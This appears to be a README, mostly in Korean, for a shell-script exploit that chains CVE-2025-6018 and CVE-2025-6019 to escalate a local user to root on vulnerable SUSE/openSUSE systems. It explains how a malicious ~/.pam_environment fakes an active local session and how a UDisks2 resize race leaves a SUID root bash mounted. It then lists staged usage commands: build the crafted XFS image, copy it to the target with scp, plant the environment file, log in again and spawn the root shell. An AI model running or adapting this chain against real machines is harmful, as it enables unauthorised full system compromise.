
Exploit Chain of CVE-2025-6018 to CVE-2025-6019
https://cdn2.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt
이 익스플로잇은 CVE-2025-6018과 CVE-2025-6019를 연쇄적으로 사용하여 취약한 SUSE/openSUSE 시스템에서 권한 없는 사용자로부터 root로의 로컬 권한 상승을 달성합니다. CVE-2025-6018은 pam_env.so (버전 1.3.0-1.6.0)의 PAM(Pluggable Authentication Modules) 환경 변수 주입 취약점으로, 사용자가 OVERRIDE 지시어를 사용하여 ~/.pam_environment를 통해 세션 환경을 오염시킬 수 있게 합니다. XDG 세션 변수(XDG_SEAT, XDG_VTNR, XDG_SESSION_TYPE)를 조작함으로써 공격자는 systemd-logind가 allow_active PolicyKit 권한을 부여하도록 속여 원격 SSH 세션을 로컬 물리적 세션처럼 보이게 할 수 있습니다. allow_active 상태를 획득하면 CVE-2025-6019를 악용할 수 있습니다. 이 UDisks2/libblockdev의 취약점은 allow_active 권한이 있는 사용자가 Filesystem.Resize D-Bus 메서드의 경쟁 조건을 통해 특권 옵션(exec, suid)으로 파일 시스템을 마운트할 수 있게 합니다. SUID root bash 바이너리가 포함된 조작된 XFS 파일 시스템을 포함하는 루프 장치에서 리사이즈 작업이 트리거되면 libblockdev가 리사이즈를 수행하기 위해 자동으로 파일 시스템을 마운트하지만, 리사이즈 오류로 인해 마운트 해제에 실패하여 SUID bash가 /tmp/blockdev*/에 접근 가능한 상태로 남게 되며, 이를 실행하여 root 셸을 획득할 수 있습니다.
sudo ./ExploitChain.sh stage1 [output_path]
# Default: ./xfs.image
# Creates 300MB XFS filesystem with SUID root bash
scp xfs.image user@<target_ip>:/tmp/
./ExploitChain.sh stage2
# Creates ~/.pam_environment with malicious XDG variables
# MUST logout and login to trigger PAM processing
logout
ssh user@<target_ip>
# PAM processes ~/.pam_environment on login
# systemd-logind grants allow_active status
./ExploitChain.sh stage3 /tmp/xfs.image
# Exploits UDisks2 Filesystem.Resize bug
# Mounts XFS image with SUID bash
# Spawns root shell
# On Kali (auto-detects root and runs stage1)
sudo ./Exploit-6018-Chain-6019-v3.sh auto
# On target (auto-detects stage and runs stage2/stage3)
./ExploitChain.sh auto /tmp/xfs.image
./ExploitChain.sh help